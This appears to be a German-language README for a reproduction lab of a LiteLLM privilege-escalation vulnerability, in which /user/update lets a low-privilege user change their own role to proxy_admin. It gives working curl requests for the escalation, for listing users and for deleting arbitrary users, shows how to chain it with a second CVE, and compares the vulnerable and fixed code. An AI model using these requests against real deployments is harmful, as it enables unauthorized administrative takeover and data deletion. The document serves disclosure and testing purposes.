
Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle.
/user/updateLiteLLM v1.83.7 (vor v1.83.10) erlaubt der
/user/update-Endpunkt Benutzern mit niedrigen Rechten, die Zugriff auf diesen Endpunkt haben, beim Aktualisieren ihres eigenen Kontos das Felduser_roleaufproxy_adminzu ändern, was eine unbefugte Privilegienerweiterung ermöglicht.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Betroffen | LiteLLM < 1.83.10 (bestätigt für v1.83.7) |
| Behoben | v1.83.10+ (Berechtigungsprüfung für die Änderung des Felds user_role hinzugefügt) |
| Veröffentlicht | 2026-05-21 |
| Entdeckt von | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
Der /user/update-Endpunkt von LiteLLM dient zum Aktualisieren von Benutzerattributen. In den betroffenen Versionen prüft die Funktion can_user_call_user_update() von /user/update, ob der Benutzer berechtigt ist, den angegebenen Benutzer zu aktualisieren (Benutzer dürfen ihre eigenen Datensätze aktualisieren), legt jedoch keinerlei Einschränkungen für die änderbaren Felder fest.
Das bedeutet, dass jeder Benutzer mit Zugriff auf den /user/update-Endpunkt (z. B. ein Benutzer, dem der Administrator die Berechtigung für diese Route erteilt hat, oder ein Angreifer, der über eine andere Schwachstelle Zugriff auf diesen Endpunkt erlangt hat) durch Ändern seines eigenen user_role-Felds seine Rolle auf proxy_admin anheben und damit vollständigen Zugriff auf alle Verwaltungsendpunkte erlangen kann.
Admin 为 internal_user 创建带有 /user/update 路由权限的 API key
→ internal_user 获得 route-level 访问权限
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ 角色提升为 proxy_admin
→ GET /user/list (验证管理员访问权限)
Die beiden Schwachstellen können miteinander verkettet werden: CVE-2026-47101 wird verwendet, um einen Wildcard-Routen-Key zu erstellen (Zugriff auf
/user/update), CVE-2026-47102 wird verwendet, um die eigene Rolle aufproxy_adminanzuheben.
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.83.7-stable)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-47102-privesc 2>&1 | tail -10
Die erwartete Ausgabe sollte Protokolle enthalten, die einen erfolgreichen Start anzeigen, z. B. Uvicorn running on http://0.0.0.0:4000.
Erstellen Sie mit dem Master-Key ein internal_user-Konto mit niedrigen Rechten:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Erwartete Ausgabe:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Der Administrator erstellt für den internal_user einen API-Key mit Zugriffsberechtigung für die Route /user/update. Dies ist die typische Art, in einer realen Umgebung Zugriff auf den /user/update-Endpunkt zu erhalten:
# 使用 master key 创建带有 /user/update 路由的 key
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Erwartete Ausgabe:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Verwenden Sie den im vorherigen Schritt erhaltenen Key mit /user/update-Routenberechtigung, um die Benutzerrolle auf proxy_admin anzuheben:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Erwartete Ausgabe:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Schwachstelle:
user_rolewurde voninternal_useraufproxy_admingeändert! Der/user/update-Endpunkt erlaubt Benutzern, ihr eigenesuser_role-Feld ohne jegliche Berechtigungsprüfung auf Feldebene zu ändern.
Verifizieren Sie über den /user/list-Endpunkt, dass die Rollenanhebung wirksam ist (verwenden Sie den API-Key des ursprünglichen internal_user; dieser Key unterliegt keinen Routenrestriktionen und erhält nach der Anhebung auf proxy_admin automatisch Verwaltungsrechte):
# 使用已提升为 proxy_admin 的 key(原始 internal_user key,无路由限制)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Erwartete Ausgabe:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Mit den erlangten proxy_admin-Rechten können über /user/delete beliebige Benutzer gelöscht werden (ebenfalls mit dem API-Key des ursprünglichen internal_user):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Erwartete Ausgabe:
1
Die obigen Schritte sind in demo.sh zusammengefasst und können direkt ausgeführt werden:
# 完整复现(包含漏洞版 + 修复版对比)
bash demo.sh
Starten Sie die behobene Version (v1.83.10-stable), um zu verifizieren, dass CVE-2026-47102 behoben wurde:
docker compose --profile fixed up -d litellm-fixed
internal_user erstellen:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Key mit /user/update-Route erstellen:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Versuchen Sie, die Rechte zu erweitern (erwartet: wird blockiert):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Erwartete Ausgabe (die behobene Version blockiert die unbefugte Anfrage):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Vergleich mit der verwundbaren Version:
| Testszenario | Verwundbare Version (v1.83.7) | Behobene Version (v1.83.10) |
|---|---|---|
| Routen-Key ändert user_role | ✅ Erfolgreich auf proxy_admin erweitert | ❌ Blockiert ("Only proxy admins can modify user roles.") |
| Zugriff auf /user/list | ✅ Benutzerliste erfolgreich abgerufen | ❌ Blockiert |
Die Grundursache der Schwachstelle liegt in der Funktion can_user_call_user_update() des /user/update-Endpunkts:
/user/update — fehlende Berechtigungsprüfung auf Feldebene# 有漏洞的代码 — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理员可以更新任何用户
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ 用户可以更新自己的记录 — 包括 user_role 字段!
return False
Lösungsansatz (v1.83.10+):
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理员仍然可以更新任何用户和字段
elif user_api_key_dict.user_id == user_info.user_id:
# 限制非管理员可修改的字段
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
Der Angreifer benötigt einen API-Key, der auf den /user/update-Endpunkt zugreifen kann. Dieser kann auf folgende Weise erlangt werden:
/user/update erstellt/key/generate zum Erstellen eines Wildcard-Keys/user/updateSchritt 1: API-Key mit /user/update-Routenberechtigung erlangen
Schritt 2: /user/update aufrufen, um die Rolle zu erweitern:
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
Schritt 3: Administratorrechte verifizieren:
GET /user/list
Authorization: Bearer sk-route-key
Die behobene Version fügt in /user/update eine Berechtigungsprüfung auf Feldebene hinzu:
metadata aktualisierenuser_role-Felds — nur proxy_admin kann Benutzerrollen ändernFehlermeldung: "Only proxy admins can modify user roles."
CVE-2026-47102/
├── README.md # This file
├── CVE-2026-47102_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
/user/update-Aufrufen mit user_role-Änderungen auf auffällige AktivitätenHaftungsausschluss: Dieser Inhalt dient ausschließlich Ausbildungszwecken und autorisierten Sicherheitstests.
| Vergleichspunkt | CVE-2026-47101 | CVE-2026-47102 |
|---|
| Schwachstellenfokus | /key/generate prüft allowed_routes nicht | /user/update fehlt die Berechtigungsprüfung auf Feldebene |
| Angriffsvoraussetzung | internal_user kann /key/generate direkt aufrufen | Benötigt zuerst Zugriff auf die /user/update-Route |
| Behobene Version | v1.83.14 | v1.83.10 |